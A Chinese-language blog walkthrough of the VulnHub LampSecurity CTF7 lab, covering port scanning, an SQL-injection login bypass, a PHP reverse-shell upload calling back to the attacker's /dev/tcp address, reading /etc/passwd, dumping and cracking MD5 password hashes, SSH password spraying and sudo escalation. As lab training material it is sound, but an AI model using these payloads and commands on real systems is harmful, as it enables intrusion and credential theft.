红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)

目录

 写在开头

 第一步:主机发现与端口扫描

 第二步:Web渗透

 第三步:文件上传获取shell

 第四步:寻找敏感信息(登录凭据)

 第五步:密码喷射登录ssh

 第六步:提权

 总结与思考

写在开头

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于SQL注入、不安全的文件上传、awk字符串处理、md5哈希批量破解、密码喷射等。完整打靶思路详见:

「红队笔记」靶机精讲:LAMPSecurityCTF7 - 字符串魔法、密码喷射,这才是实战技术。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见:

LAMPSecurity: CTF7 ~ VulnHub

下载链接见:

https://download.vulnhub.com/lampsecurity/CTF7plusDocs.zip

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第1张图片  靶机下载后解压,用vmware打开,设置网络连接为NAT模式,开启靶机即可(界面如下):

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第2张图片

 这里需要特别注意一下,在第一次启动打开靶机的时候,vmware会跳出一个提示框,让你选择我已复制该虚拟机/我已移动该虚拟机,一定要选择移动,用移动的方式网络环境会完整复现。否则有可能在主机发现的时候扫描不到这个靶机。如果后续发现真的出现了无法主机发现,莫慌,重装一下就行了。

第一步:主机发现与端口扫描

 这一步是最常规的思路,使用nmap进行主机发现和端口扫描,过程与前面的打靶都是一样的命令和讨论,详情见可见我的博客:

渗透测试:主机发现与端口扫描

这里不做详细说明,只列举一下此次打靶的命令:

nmap -sn 192.168.200.0/24
nmap --min-rate 10000 -p- 192.168.200.145
nmap -sT -sV -O -p22,80,137,138,139,901,5900,8080,10000 192.168.200.145
nmap -sU --min-rate 10000 -p- 192.168.200.145
nmap --script=vuln -p22,80,137,138,139,901,5900,8080,10000 192.168.200.145

使用命令ip a 可查看kali攻击机的ip是192.168.200.131,所在网段是192.168.200.0/24,主机发现-sn得知靶机ip是192.168.200.145,全端口扫描后发现可能开放的端口包括22,80,137,138,139,901,5900,8080,10000,然后进行了UDP扫描(无开放端口)和漏洞扫描。

全端口扫描结果:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第3张图片

 服务版本扫描结果:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第4张图片

 漏洞扫描结果暴露了80端口和8080端口的一些漏洞,包括敏感信息、Dos等。

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第5张图片

 第二步:Web渗透

 由于80和8080端口都开放,且nmap的漏洞扫描我们也扫出了一些漏洞,于是还是从常规的Web入手,浏览器访问靶机ip:192.168.200.145

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第6张图片

看起来像是个培训机构的主页,可以参加培训、阅读等等。在主页上随便点点,看一看顶部的About/Contact/Resources的栏目,没发现太多可利用的信息。点击 /Resources后的几个功能是需要登录(注册)的:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第7张图片

 如上图是一个登录注册界面,但貌似这个界面不是后台的登录界面,仅仅是用户可以注册账户,然后去预定服务的常规登录界面。回想到常规的渗透测试思路,我们应该寻找cms的后台登录界面。

简单翻找了一圈80端口的信息,有可能存在漏洞利用的位置,先按下不表。由于8080端口也开放,我们可以再访问一下8080端口试试192.168.200.145:8080

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第8张图片

 非常nice,8080端口应该就是相当于cms的管理登录界面了,下面就是寻找这个登录界面的密码。尝试了几个弱口令都登录失败,也可以进行一下web目录爆破看看有没有什么敏感信息,或者去互联网上寻找cms的默认登录密码,不过我们这里也没有发现这是什么cms。最后也可以尝试使用SQL注入登录。再登录框的账号和密码都输入单引号'后点击登录,发现报错了:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第9张图片

 好家伙,登录框竟然存在SQL注入,那我们使用万能密码:

' or 1=1 #

 即可登录成功,只要输入用户名是' or 1=1 #而密码为空或者随便填,都可以成功登录,登录之后的界面如下:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第10张图片

 第三步:文件上传获取shell

 接下来又回到了常规思路,在后台寻找文件上传或代码执行的位置,然后添加我们的payload反弹shell,并触发代码执行,即可拿到初始立足点的shell,那就在这个后台翻找翻找吧。在Users界面发现了许多用户名,同时还有他们的权限,有好几个都是有管理权限的,说不定一会我们就可以使用ssh拿到这些用户的shell。这里可以直接对他们修改账户密码,不过考虑到这里的用户名都是邮箱的形式,应该是前面192.168.200.145/signup页面的一些账户,而非ssh登录的账户和密码。

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第11张图片

 最终发现在Manage Offerings中的三个子栏目,都可以点击add new,可以写入东西,而点击Reading Room里的add new,存在文件上传的位置。

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第12张图片

 那么我们可否在这里上传php的payload呢?这个界面的文本输入框是否可以写入并执行代码呢?我们先尝试一下在Description这个文本框填写反弹shell的payload,别忘了先在kali中另起一个终端,开启nc监听1234端口:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第13张图片

 回到Add a new Readings的界面,我们在description文本框输入php反弹shell的payload,如下:

& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第14张图片

 其他随便填,文件上传我们先不上传,点击Add Reading,结果出现了如下的报错:

 不过这暴露了这个界面的上传位置,是/var/www/html/assets/,说不定一会会用到。我们可以试着访问一下/assets目录,看看有没有什么收获:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第15张图片

 好家伙,这是个目录呀,那岂不是如果我们能吧shell上传到这里,点击对应的路径,就可触发代码执行了。回到刚才的Add a new Readings的界面,这回我们上传一个shell.php,其中的内容就是刚刚的反弹shell的payload:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第16张图片

 这样点击Add Reading后,即可在刚刚的assets页面发现我们上传好的shell:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第17张图片

 点击shell.php超链接,或直接访问/assets/shell.php,即可触发代码执行,成功执行了我们的payload,回到刚才的nc监听,喜提初始shell:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第18张图片

 第四步:寻找敏感信息(登录凭据)

我们已经拿到了apache这个账户的权限,权限应该是比较低的使用命令sudo -l查看权限:

sudo -l

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第19张图片

 连sudo的权限都没有,我们看一下passwd这个文件:

cat /etc/passwd

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第20张图片

 可以看到许多有bash的账户,这些有bash的用户名好像恰巧和刚刚管理后台的Users的用户名是相同的。同时也找到了此时的这个账户apache,没有bash环境,怪不得无法sudo,我们试图用python获取交互性更好的shell:

python -c "import pty;pty.spawn('/bin/bash');"

然后就可以sudo -l查看权限了,不过要输入密码!咱也不知道密码,看来也无法查看权限了。

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第21张图片

 那么如何提权呢?还是寻找寻找有关密码的文件吧,此时的工作目录正是/assets,我们回到web的常规目录/var/www/看看

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第22张图片

 web目录下的文件(夹)如下:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第23张图片

 我们可能比较关注的就是其中的admin,可能会有管理员相关的东西,最后在admin中的inc中的db.php发现了有效信息:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第24张图片

cat db.php

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第25张图片

 好家伙,这连接mysql数据库都不用密码的!那我们直接登录mysql,密码为空:

mysql -u root -p

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第26张图片

 还真登录进来了,那么我们就在数据库里面查找有啥可利用的密码之类的吧。

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第27张图片

 查看数据库,发现有个website,选择这个,然后查看数据表:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第28张图片

还真有名为users的,看看里面有啥:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第29张图片

 这一波可厉害了,真的找到了账号和密码,重新搜一下username和password:

select username,password from users;

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第30张图片

 这应该就是很关键的信息,我们把这些原始的账号和密码的哈希复制保存下来,起名为CredsRaw:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第31张图片

 接下来就是对这些哈希值的破解,估计是md5(可以用hash-identifier识别),我们可以用在线软件,也可以使用一些脚本批量破解。 前面几篇博客都是使用在线网站破解,这里我们介绍个新技巧,使用hashcat工具批量破解,不过在破解之前,我们需要将CredsRaw进行处理,把所有的哈希值独占一行,存为一个文件passwordRaw。

CredsRaw文件以空格为分隔符,可以分为五个部分,即竖线|,用户名邮箱,竖线|,密码的md5,竖线|。因此如果想取出密码的md5,可使用如下命令:

cat CredsRaw | awk -F' ' {'print $4'} 

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第32张图片

 然后其中内容保存为passwordRaw.lst,可以直接复制到vim,也可以输出重定向:

cat CredsRaw | awk -F' ' {'print $4'} > passwordRaw.lst

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第33张图片

 然后使用工具hashcat进行破解,命令如下:

hashcat -a 0 -m 0 passwordRaw.lst /usr/share/wordlists/rockyou.txt

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第34张图片

 等待片刻,即可看到上图的破解结果:然后依旧是复制,保存为文件passwordCrack

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第35张图片

 然后用冒号作分隔符,获得完整的密码:

cat passwordCrack | awk -F':' {'print $2'} > password.lst

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第36张图片

 同理,我们再把账号也存成一个文件username.lst:

cat CredsRaw | awk -F' ' {'print $2'} | awk -F'@' {'print $1'} > username.lst

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第37张图片

 大功告成,接下来就可以尝试使用这些账号和密码进行ssh登录了:

 第五步:密码喷射登录ssh

 知道账号和密码之后,其实我们可以直接尝试ssh登录,但有这么多账号,如果用户名和密码不对应的话手动尝试很费劲(其实这里是对应的,完全可以直接登录,这里只是为了介绍学到的知识点),我们可以试试使用密码喷射的脚本crackmapexec,命令如下:其中--continue-on-success参数是指发现首个匹配的用户名和密码之后继续进行碰撞。

crackmapexec ssh 192.168.200.145 -u username.lst -p password.lst --continue-on-success

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第38张图片

 很快我们就能确认正确的账号是带有+的,还可以专门用grep过滤一下:

crackmapexec ssh 192.168.200.145 -u username.lst -p password.lst --continue-on-success | grep '+'

 不用等太长时间,找到正确对应的用户名和密码即可登录ssh,其中一条记录为:

SSH         192.168.200.145 22     192.168.200.145  [+] brian:my2cents

 那就用用户名brian和密码my2cent登录ssh试试:

ssh [email protected]

 报错了,没有匹配的host key type 那么参考我前几天写的博客LampSecurity:CTF4打靶思路详解中的第四步SSH登录的相关参数,重新构造命令:

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss [email protected]

输入密码my2cents即可登录成功:

 第六步:提权

 运行命令sudo -l之后发现已经有all权限了,直接一键提权好了:

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第39张图片

sudo /bin/bash

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第40张图片

至此打靶完成。 

总结与思考

这个靶机也不复杂,思路也比较套路化,如果只是以打靶为目的,那么当拿到数据库中的username和password之后,直接在线网站破解md5,然后用第一个账号brian登录ssh即可,用不着awk处理这些文件,也无需使用hashcat脚本,本文还是将这些信息保留,当需要对很多个md5进行破解时,hashcat才是更为需要的。当需要尝试多个不对应的用户名和密码登录时,使用密码喷射脚本crackmapexec就更为必要。

红队打靶:LampSecurity:CTF7打靶思路详解(vulnhub)_第41张图片

还是总结一下打靶的过程: 

1.主机发现和端口扫描:常规讨论,靶机开放了80和8080端口,都有很多漏洞。

2.web渗透,发现8080为登录后台,SQL注入万能密码登录成功。

3.文件上传:寻找文件上传/代码执行的位置,上传了我们的shell.php,并找到了代码执行的路径,成功触发代码执行反弹shell。

4.寻找敏感信息,发现/var/www/admin/inc/db.php中暴露了mysql没有密码,登录mysql后找到了存放ssh账号的username和password。

5.破解password的md5哈希,登录ssh。

6.权限发现已经是all,一键提权。

 同时这个靶机给我一种遍地是漏洞的感觉,随便一个SQL注入的万能密码就登录进后台了,然后如果description中写入php代码就会直接暴露页面的上传位置文件上传并不做任何校验和过滤,上传之后也可以成功代码执行,配置文件中还真会暴露mysql没有密码,而mysql中又恰巧存了ssh登录的用户密码,登录进去之后,权限就直接是ALL了,提权都省了。感觉实在是有点太顺利了,实际渗透测试应该遇不到这么顺利的情况。不过这台靶机也年代久远,可能十年前人们的网络安全意识是普遍不足的,才会有这么多漏洞。

 这篇打靶就完成了,以后会继续坚持打靶,学习网安知识并分享。希望读者多多点赞支持!如有问题欢迎评论区讨论,我一定知无不言。 

你可能感兴趣的:(红队打靶,网络安全,linux,mysql,服务器)